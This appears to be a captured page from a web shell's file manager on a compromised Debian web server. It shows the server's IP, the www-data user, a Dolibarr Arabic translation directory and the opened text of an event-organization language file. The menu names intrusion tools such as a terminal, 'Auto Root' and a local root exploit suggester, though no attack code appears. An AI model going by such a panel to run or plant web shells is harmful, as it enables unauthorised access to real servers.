Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
bdc.bdcloud.fr /
langs /
ar_SA /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
41.72
KB
-rwxr-x---
2023-04-04 15:50
admin.lang
243.07
KB
-rwxr-x---
2023-04-04 15:50
agenda.lang
11.83
KB
-rwxr-x---
2023-04-04 15:50
assets.lang
8.72
KB
-rwxr-x---
2023-04-04 15:50
banks.lang
11.99
KB
-rwxr-x---
2023-04-04 15:50
bills.lang
45.93
KB
-rwxr-x---
2023-04-04 15:50
blockedlog.lang
7.91
KB
-rwxr-x---
2023-04-04 15:50
bookmarks.lang
1.6
KB
-rwxr-x---
2023-04-04 15:50
boxes.lang
8.09
KB
-rwxr-x---
2023-04-04 15:50
cashdesk.lang
8.91
KB
-rwxr-x---
2023-04-04 15:50
categories.lang
7.02
KB
-rwxr-x---
2023-04-04 15:50
commercial.lang
4.79
KB
-rwxr-x---
2023-04-04 15:50
companies.lang
24
KB
-rwxr-x---
2023-04-04 15:50
compta.lang
24.87
KB
-rwxr-x---
2023-04-04 15:50
contracts.lang
6.59
KB
-rwxr-x---
2023-04-04 15:50
cron.lang
7.4
KB
-rwxr-x---
2023-04-04 15:50
datapolicy.lang
4.38
KB
-rwxr-x---
2023-04-04 15:50
deliveries.lang
1.67
KB
-rwxr-x---
2023-04-04 15:50
dict.lang
11.49
KB
-rwxr-x---
2023-04-04 15:50
donations.lang
1.78
KB
-rwxr-x---
2023-04-04 15:50
ecm.lang
3.59
KB
-rwxr-x---
2023-04-04 15:50
errors.lang
43.04
KB
-rwxr-x---
2023-04-04 15:50
eventorganization.lang
11.73
KB
-rwxr-x---
2023-04-04 15:50
exports.lang
14.83
KB
-rwxr-x---
2023-04-04 15:50
help.lang
1.64
KB
-rwxr-x---
2023-04-04 15:50
holiday.lang
7.93
KB
-rwxr-x---
2023-04-04 15:50
hrm.lang
3.54
KB
-rwxr-x---
2023-04-04 15:50
install.lang
24.85
KB
-rwxr-x---
2023-04-04 15:50
interventions.lang
4.86
KB
-rwxr-x---
2023-04-04 15:50
intracommreport.lang
1.53
KB
-rwxr-x---
2023-04-04 15:50
knowledgemanagement.lang
2.16
KB
-rwxr-x---
2023-04-04 15:50
languages.lang
5.22
KB
-rwxr-x---
2023-04-04 15:50
ldap.lang
2.88
KB
-rwxr-x---
2023-04-04 15:50
link.lang
630
B
-rwxr-x---
2023-04-04 15:50
loan.lang
1.67
KB
-rwxr-x---
2023-04-04 15:50
mailmanspip.lang
2.06
KB
-rwxr-x---
2023-04-04 15:50
mails.lang
15.19
KB
-rwxr-x---
2023-04-04 15:50
main.lang
50.06
KB
-rwxr-x---
2023-04-04 15:50
margins.lang
4.38
KB
-rwxr-x---
2023-04-04 15:50
members.lang
18.22
KB
-rwxr-x---
2023-04-04 15:50
modulebuilder.lang
19.76
KB
-rwxr-x---
2023-04-04 15:50
mrp.lang
8.52
KB
-rwxr-x---
2023-04-04 15:50
multicurrency.lang
3.04
KB
-rwxr-x---
2023-04-04 15:50
oauth.lang
2.83
KB
-rwxr-x---
2023-04-04 15:50
opensurvey.lang
4.99
KB
-rwxr-x---
2023-04-04 15:50
orders.lang
11.52
KB
-rwxr-x---
2023-04-04 15:50
other.lang
24
KB
-rwxr-x---
2023-04-04 15:50
partnership.lang
5.05
KB
-rwxr-x---
2023-04-04 15:50
paybox.lang
2.46
KB
-rwxr-x---
2023-04-04 15:50
paypal.lang
2.92
KB
-rwxr-x---
2023-04-04 15:50
printing.lang
3.43
KB
-rwxr-x---
2023-04-04 15:50
productbatch.lang
3.67
KB
-rwxr-x---
2023-04-04 15:50
products.lang
27.55
KB
-rwxr-x---
2023-04-04 15:50
projects.lang
22.64
KB
-rwxr-x---
2023-04-04 15:50
propal.lang
6.65
KB
-rwxr-x---
2023-04-04 15:50
receiptprinter.lang
4.47
KB
-rwxr-x---
2023-04-04 15:50
receptions.lang
3.91
KB
-rwxr-x---
2023-04-04 15:50
recruitment.lang
3.73
KB
-rwxr-x---
2023-04-04 15:50
resource.lang
1.55
KB
-rwxr-x---
2023-04-04 15:50
salaries.lang
1.9
KB
-rwxr-x---
2023-04-04 15:50
sendings.lang
4.5
KB
-rwxr-x---
2023-04-04 15:50
sms.lang
2.6
KB
-rwxr-x---
2023-04-04 15:50
stocks.lang
19.74
KB
-rwxr-x---
2023-04-04 15:50
stripe.lang
7.15
KB
-rwxr-x---
2023-04-04 15:50
supplier_proposal.lang
3.6
KB
-rwxr-x---
2023-04-04 15:50
suppliers.lang
3.46
KB
-rwxr-x---
2023-04-04 15:50
ticket.lang
25.89
KB
-rwxr-x---
2023-04-04 15:50
trips.lang
9.38
KB
-rwxr-x---
2023-04-04 15:50
users.lang
9.49
KB
-rwxr-x---
2023-04-04 15:50
website.lang
20.7
KB
-rwxr-x---
2023-04-04 15:50
withdrawals.lang
12.55
KB
-rwxr-x---
2023-04-04 15:50
workflow.lang
5.75
KB
-rwxr-x---
2023-04-04 15:50
zapier.lang
1.31
KB
-rwxr-x---
2023-04-04 15:50
Save
Rename
# Copyright (C) 2021 Florian Henry <florian.henry@scopen.fr> # Copyright (C) 2021 Dorian Vabre <dorian.vabre@gmail.com> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. # # Generic # ModuleEventOrganizationName = تنظيم الأحداث EventOrganizationDescription = تنظيم الحدث من خلال مشروع الوحدة النمطية EventOrganizationDescriptionLong= إدارة تنظيم حدث (عرض أو مؤتمرات أو حضور أو متحدثين ، مع صفحات عامة للاقتراح أو التصويت أو التسجيل) # # Menu # EventOrganizationMenuLeft = الأحداث المنظمة EventOrganizationConferenceOrBoothMenuLeft = مؤتمر أو كشك PaymentEvent=دفع الحدث # # Admin page # NewRegistration=تسجيل EventOrganizationSetup=إعداد تنظيم الحدث EventOrganization=تنظيم الأحداث Settings=إعدادات EventOrganizationSetupPage = صفحة إعداد تنظيم الحدث EVENTORGANIZATION_TASK_LABEL = تسمية المهام التي سيتم إنشاؤها تلقائيًا عند التحقق من صحة المشروع EVENTORGANIZATION_TASK_LABELTooltip = عند التحقق من صحة حدث لتنظيمه ، يمكن إنشاء بعض المهام تلقائيًا في المشروع <br> <br> على سبيل المثال: <br> Send Call for Conferences <br> Send Call for Booths <br>19 <br> أرسل تذكيرًا بالحدث إلى المتحدثين <br> أرسل تذكيرًا بالحدث إلى Booth hosters <br> أرسل تذكيرًا بالحدث إلى الحضور EVENTORGANIZATION_TASK_LABELTooltip2=اتركه فارغًا إذا لم تكن بحاجة إلى إنشاء المهام تلقائيًا. EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = فئة لإضافتها إلى جهات خارجية يتم إنشاؤها تلقائيًا عندما يقترح شخص ما مؤتمرًا EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = فئة للإضافة إلى جهات خارجية يتم إنشاؤها تلقائيًا عندما يقترحون كشكًا EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = نموذج بريد إلكتروني لإرساله بعد تلقي اقتراح من مؤتمر. EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_BOOTH = نموذج البريد الإلكتروني لإرساله بعد تلقي اقتراح كشك. EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_BOOTH = نموذج البريد الإلكتروني لإرساله بعد دفع التسجيل في كشك. EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_EVENT = نموذج بريد إلكتروني لإرساله بعد دفع رسوم التسجيل لحدث ما. EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_SPEAKER = نموذج بريد إلكتروني لاستخدامه عند إرسال رسائل بريد إلكتروني من "إرسال رسائل بريد إلكتروني" إلى المتحدثين EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_ATTENDES = نموذج بريد إلكتروني لاستخدامه عند إرسال رسائل بريد إلكتروني من رسالة "إرسال رسائل بريد إلكتروني" في قائمة الحضور EVENTORGANIZATION_FILTERATTENDEES_CAT = في نموذج إنشاء / إضافة أحد الحاضرين ، يقصر قائمة الأطراف الثالثة على الأطراف الثالثة في الفئة EVENTORGANIZATION_FILTERATTENDEES_TYPE = في نموذج إنشاء / إضافة أحد الحاضرين ، يقصر قائمة الأطراف الثالثة على الأطراف الثالثة ذات الطبيعة # # Object # EventOrganizationConfOrBooth= مؤتمر أو كشك EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = إدارة تنظيم الحدث ConferenceOrBooth = مؤتمر أو كشك ConferenceOrBoothTab = مؤتمر أو كشك AmountPaid = المبلغ المدفوع DateOfRegistration = تاريخ التسجيل ConferenceOrBoothAttendee = حضور المؤتمر أو الكابينة ApplicantOrVisitor=مقدم الطلب أو الزائر Speaker=مكبر الصوت # # Template Mail # YourOrganizationEventConfRequestWasReceived = تم استلام طلبك لعقد المؤتمر YourOrganizationEventBoothRequestWasReceived = تم استلام طلبك للكشك EventOrganizationEmailAskConf = طلب مؤتمر EventOrganizationEmailAskBooth = طلب كشك EventOrganizationEmailBoothPayment = دفع الكشك الخاص بك EventOrganizationEmailRegistrationPayment = التسجيل لحدث EventOrganizationMassEmailAttendees = التواصل مع الحاضرين EventOrganizationMassEmailSpeakers = التواصل مع المتحدثين ToSpeakers=إلى مكبرات الصوت # # Event # AllowUnknownPeopleSuggestConf=السماح للناس باقتراح المؤتمرات AllowUnknownPeopleSuggestConfHelp=اسمح لأشخاص غير معروفين باقتراح مؤتمر يريدون القيام به AllowUnknownPeopleSuggestBooth=اسمح للناس بالتقدم بطلب للحصول على كشك AllowUnknownPeopleSuggestBoothHelp=السماح للأشخاص المجهولين بالتقدم بطلب للحصول على كشك PriceOfRegistration=سعر التسجيل PriceOfRegistrationHelp=السعر الواجب دفعه للتسجيل أو المشاركة في الحدث PriceOfBooth=سعر الاشتراك لوقوف كشك PriceOfBoothHelp=سعر الاشتراك لوقوف كشك EventOrganizationICSLink=رابط ICS للمؤتمرات ConferenceOrBoothInformation=معلومات المؤتمر أو الكابينة Attendees=الحاضرين ListOfAttendeesOfEvent=قائمة الحاضرين لمشروع الحدث DownloadICSLink = رابط تحميل ICS EVENTORGANIZATION_SECUREKEY = أنشئ لتأمين المفتاح لصفحة التسجيل العامة لاقتراح مؤتمر SERVICE_BOOTH_LOCATION = الخدمة المستخدمة لصف الفاتورة حول موقع الكشك SERVICE_CONFERENCE_ATTENDEE_SUBSCRIPTION = الخدمة المستخدمة لصف الفاتورة حول اشتراك حاضر في حدث NbVotes=عدد الأصوات # # Status # EvntOrgDraft = حوالة مصرفية EvntOrgSuggested = مقترح EvntOrgConfirmed = مؤكد EvntOrgNotQualified = غير مؤهل EvntOrgDone = منتهي EvntOrgCancelled = ألغيت # # Public page # SuggestForm = صفحة الاقتراح SuggestOrVoteForConfOrBooth = صفحة للاقتراح أو التصويت EvntOrgRegistrationHelpMessage = هنا ، يمكنك التصويت لعقد مؤتمر أو اقتراح مؤتمر جديد لهذا الحدث. يمكنك أيضًا تقديم طلب للحصول على كشك أثناء الحدث. EvntOrgRegistrationConfHelpMessage = هنا ، يمكنك اقتراح مؤتمر جديد لتحريكه أثناء الحدث. EvntOrgRegistrationBoothHelpMessage = هنا ، يمكنك تقديم طلب للحصول على كشك أثناء الحدث. ListOfSuggestedConferences = قائمة المؤتمرات المقترحة ListOfSuggestedBooths=Suggested booths ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = اقترح مؤتمر جديد SuggestBooth = أقترح كشك ViewAndVote = عرض والتصويت للأحداث المقترحة PublicAttendeeSubscriptionGlobalPage = رابط عام للتسجيل في الحدث PublicAttendeeSubscriptionPage = رابط عام للتسجيل في هذا الحدث فقط MissingOrBadSecureKey = مفتاح الأمان غير صالح أو مفقود EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = يبدأ هذا المؤتمر في %s وينتهي في %s. ConferenceAttendeeFee = رسوم حضور المؤتمر للحدث: "%s" يحدث من %s إلى %s. BoothLocationFee = موقع كشك الحدث: "%s" يحدث من %s إلى %s EventType = نوع الحدث LabelOfBooth=تسمية كشك LabelOfconference=تسمية المؤتمر ConferenceIsNotConfirmed=التسجيل غير متاح ، لم يتم تأكيد المؤتمر بعد DateMustBeBeforeThan=يجب أن يكون %s قبل %s DateMustBeAfterThan=يجب أن يكون %s بعد %s MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=تسجيل OrganizationEventConfRequestWasReceived=تم استلام اقتراحك الخاص بالمؤتمر OrganizationEventBoothRequestWasReceived=تم استلام طلبك الخاص بكشك OrganizationEventPaymentOfBoothWasReceived=تم تسجيل الدفع الخاص بك لكشك OrganizationEventPaymentOfRegistrationWasReceived=تم تسجيل الدفع الخاص بك لتسجيل الحدث الخاص بك OrganizationEventBulkMailToAttendees=هذا تذكير بمشاركتك في الحدث بصفتك حاضرًا OrganizationEventBulkMailToSpeakers=هذا تذكير بمشاركتك في الحدث كمتحدث OrganizationEventLinkToThirdParty=رابط لطرف ثالث (عميل أو مورد أو شريك) OrganizationEvenLabelName=الاسم العام للمؤتمر أو الكابينة NewSuggestionOfBooth=طلب كشك NewSuggestionOfConference=طلب لعقد مؤتمر # # Vote page # EvntOrgRegistrationWelcomeMessage = مرحبًا بكم في صفحة اقتراح المؤتمر أو الكابينة. EvntOrgRegistrationConfWelcomeMessage = مرحبا بكم في صفحة اقتراح المؤتمر. EvntOrgRegistrationBoothWelcomeMessage = مرحبا بكم في صفحة اقتراح الكابينة. EvntOrgVoteHelpMessage = هنا ، يمكنك عرض الأحداث المقترحة للمشروع والتصويت عليها VoteOk = تم قبول تصويتك. AlreadyVoted = لقد قمت بالتصويت بالفعل لهذا الحدث. VoteError = حدث خطأ أثناء التصويت ، يرجى المحاولة مرة أخرى. SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = تأكيد اشتراكك في حدث Attendee = حاضر PaymentConferenceAttendee = دفع حضور المؤتمر PaymentBoothLocation = دفع موقع كشك DeleteConferenceOrBoothAttendee=قم بإزالة الحاضر RegistrationAndPaymentWereAlreadyRecorder=تم تسجيل تسجيل ودفع بالفعل للبريد الإلكتروني <b> %s </b> EmailAttendee=البريد الإلكتروني للحضور EmailCompany=Company email EmailCompanyForInvoice=البريد الإلكتروني للشركة (للفاتورة ، إذا كان مختلفًا عن البريد الإلكتروني للحضور) ErrorSeveralCompaniesWithEmailContactUs=تم العثور على العديد من الشركات باستخدام هذا البريد الإلكتروني ، لذا لا يمكننا التحقق من صحة تسجيلك تلقائيًا. يرجى الاتصال بنا على %s للتحقق اليدوي ErrorSeveralCompaniesWithNameContactUs=تم العثور على العديد من الشركات بهذا الاسم لذا لا يمكننا التحقق من صحة تسجيلك تلقائيًا. يرجى الاتصال بنا على %s للتحقق اليدوي NoPublicActionsAllowedForThisEvent=لا توجد إجراءات عامة مفتوحة للجمهور لهذا الحدث MaxNbOfAttendees=أقصى عدد من الحاضرين